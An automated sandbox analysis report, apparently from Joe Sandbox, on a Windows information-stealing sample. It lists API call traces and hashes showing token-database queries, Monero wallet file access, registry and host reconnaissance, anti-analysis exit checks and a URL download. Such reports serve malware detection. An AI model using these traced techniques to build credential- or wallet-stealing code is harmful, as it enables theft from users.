Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 16e72ab7ba5c8bd1c10b5e84913d8284ea5e79f48e012700fdab0c2377b8ef9f
Instruction ID: 512fb64545d8a617d9e7597e3fbb7dbb2e3eaf60e878223a1f0441d7689db934
Opcode Fuzzy Hash: 16e72ab7ba5c8bd1c10b5e84913d8284ea5e79f48e012700fdab0c2377b8ef9f
Instruction Fuzzy Hash: FAB10D71910108FBDB15FBA0DD9AFEE7378AF54300F404168F506A6592EF386E49DBA2

Function 007A4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007A4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 007A4FD1
InternetOpenA.WININET(007C0DDF,00000000,00000000,00000000,00000000), ref: 007A4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 007A5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 007A5041
InternetCloseHandle.WININET(?), ref: 007A50B9
InternetCloseHandle.WININET(?), ref: 007A50C6

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: d54afd8d5f4fe3f938c6f2088f88d749fb19751a77122633051ee09b82ee25c9
Instruction ID: 37689017a5d6e43a70e1f99b1ce3a7cf75f589f6b5e74c7ce8999aa65c79e1c3
Opcode Fuzzy Hash: d54afd8d5f4fe3f938c6f2088f88d749fb19751a77122633051ee09b82ee25c9
Instruction Fuzzy Hash: FB3106B4A00218EBDB20CF54DC85BDDB7B4EB48704F1081D8FA09A7291C6746EC59F99

Function 007B83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007B8426
wsprintfA.USER32 ref: 007B8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 007B847B
RegCloseKey.ADVAPI32(00000000), ref: 007B848C
RegCloseKey.ADVAPI32(00000000), ref: 007B8499

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

RegQueryValueExA.KERNEL32(00000000,013FF370,00000000,000F003F,?,00000400), ref: 007B84EC
lstrlen.KERNEL32(?), ref: 007B8501
RegQueryValueExA.KERNEL32(00000000,013FF268,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,007C0B34), ref: 007B8599
RegCloseKey.KERNEL32(00000000), ref: 007B8608
RegCloseKey.ADVAPI32(00000000), ref: 007B861A

Strings

%s\%s, xrefs: 007B844D

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 5e5df38a5d96ad58df81e6225aea08254ffed223622ef70fb238cf1cd6d0e5c5
Instruction ID: 481853086edb9ff712a612f8620d11ca8b8f71b8caef992178e723494aada006
Opcode Fuzzy Hash: 5e5df38a5d96ad58df81e6225aea08254ffed223622ef70fb238cf1cd6d0e5c5
Instruction Fuzzy Hash: EC2127B1914218ABDB64DF54CC85FE9B3B8FB48700F00C198E609A6150DF756E81CFE5

Function 007B7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B76A4
RtlAllocateHeap.NTDLL(00000000), ref: 007B76AB
RegOpenKeyExA.KERNEL32(80000002,013EBE98,00000000,00020119,00000000), ref: 007B76DD
RegQueryValueExA.KERNEL32(00000000,013FF448,00000000,00000000,?,000000FF), ref: 007B76FE
RegCloseKey.ADVAPI32(00000000), ref: 007B7708

Strings

Windows 11, xrefs: 007B76BD

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 7c5ac61bd22d8dc00d91cd0db3807813768c1b31642d80fe37fe325c43dfc885
Instruction ID: bd1d38763f24c4feaf88d9f8756010d6f6515f930597cf56263a8bc134fa2418
Opcode Fuzzy Hash: 7c5ac61bd22d8dc00d91cd0db3807813768c1b31642d80fe37fe325c43dfc885
Instruction Fuzzy Hash: 440162B5A18208FBD704DBE4DC89FADB7B8EB48701F104058FA05DB2A1EA74AD04DB51

Function 007B7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7734
RtlAllocateHeap.NTDLL(00000000), ref: 007B773B
RegOpenKeyExA.KERNEL32(80000002,013EBE98,00000000,00020119,007B76B9), ref: 007B775B
RegQueryValueExA.KERNEL32(007B76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 007B777A
RegCloseKey.ADVAPI32(007B76B9), ref: 007B7784

Strings

CurrentBuildNumber, xrefs: 007B7771

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: af2f13cd5300c262042253d17392a1f76527076d4da34ba06e94a3300f87f4fa
Instruction ID: 787e8c013043adaf9821626365ca83350e826b5b0f2351a75d14bd6670a6ee05
Opcode Fuzzy Hash: af2f13cd5300c262042253d17392a1f76527076d4da34ba06e94a3300f87f4fa
Instruction Fuzzy Hash: C60167B5E54308FBDB10DBE0DC89FAEB7B8EB48700F004158FA05AB291DA756900DF92

Function 007B69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0EA0), ref: 007B98A1
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0D50), ref: 007B98BA
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0C18), ref: 007B98D2
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0CA8), ref: 007B98EA
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0CC0), ref: 007B9903
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F8F30), ref: 007B991B
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013E53E0), ref: 007B9933
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013E5480), ref: 007B994C
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0C30), ref: 007B9964
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0CD8), ref: 007B997C
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0E88), ref: 007B9995
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0D80), ref: 007B99AD
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013E5300), ref: 007B99C5
Part of subcall function 007B9860: GetProcAddress.KERNEL32(75900000,013F0E10), ref: 007B99DE

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007A11D0: ExitProcess.KERNEL32 ref: 007A1211

Part of subcall function 007A1160: GetSystemInfo.KERNEL32(?), ref: 007A116A
Part of subcall function 007A1160: ExitProcess.KERNEL32 ref: 007A117E

Part of subcall function 007A1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 007A112B
Part of subcall function 007A1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 007A1132
Part of subcall function 007A1110: ExitProcess.KERNEL32 ref: 007A1143

Part of subcall function 007A1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 007A123E
Part of subcall function 007A1220: __aulldiv.LIBCMT ref: 007A1258
Part of subcall function 007A1220: __aulldiv.LIBCMT ref: 007A1266
Part of subcall function 007A1220: ExitProcess.KERNEL32 ref: 007A1294

Part of subcall function 007B6770: GetUserDefaultLangID.KERNEL32 ref: 007B6774

Part of subcall function 007A1190: ExitProcess.KERNEL32 ref: 007A11C6

Part of subcall function 007B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007A11B7), ref: 007B7880
Part of subcall function 007B7850: RtlAllocateHeap.NTDLL(00000000), ref: 007B7887
Part of subcall function 007B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 007B789F

Part of subcall function 007B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7910
Part of subcall function 007B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 007B7917
Part of subcall function 007B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 007B792F

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013F8FF0,?,007C110C,?,00000000,?,007C1110,?,00000000,007C0AEF), ref: 007B6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 007B6AE8
CloseHandle.KERNEL32(00000000), ref: 007B6AF9
Sleep.KERNEL32(00001770), ref: 007B6B04
CloseHandle.KERNEL32(?,00000000,?,013F8FF0,?,007C110C,?,00000000,?,007C1110,?,00000000,007C0AEF), ref: 007B6B1A
ExitProcess.KERNEL32 ref: 007B6B22

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 14b7ceba0c181e4501d03a88ba5be9fe3a3e5439a7e7f88cb333423dd4460d4d
Instruction ID: c9074e21910751218a576c292fff040e8df97ad52447d1aa4c83d88736ee64c9
Opcode Fuzzy Hash: 14b7ceba0c181e4501d03a88ba5be9fe3a3e5439a7e7f88cb333423dd4460d4d
Instruction Fuzzy Hash: 00311A71D14208FAEB05FBF0DC9ABEE7778AF44300F504528F212A6192DF7C6905D6A2

Function 007A99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007A99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 007A9A11
LocalAlloc.KERNEL32(00000040,?), ref: 007A9A31
ReadFile.KERNEL32(000000FF,?,00000000,007A148F,00000000), ref: 007A9A5A
LocalFree.KERNEL32(007A148F), ref: 007A9A90
CloseHandle.KERNEL32(000000FF), ref: 007A9A9A

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: f0b58e3763a97b0638da878b2ceda49ceed440ff05ccac587d09eb25f89cf6a1
Instruction ID: a1c3527a8f6313811f01b950af5d5c2e7cafdac3cedf221462103036574869d2
Opcode Fuzzy Hash: f0b58e3763a97b0638da878b2ceda49ceed440ff05ccac587d09eb25f89cf6a1
Instruction Fuzzy Hash: C2312BB4A00209EFDF14CF94C885BAE77B5FF89300F108259E915AB290D778AE51CFA1

Function 007B4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,013FF670), ref: 007B47DB

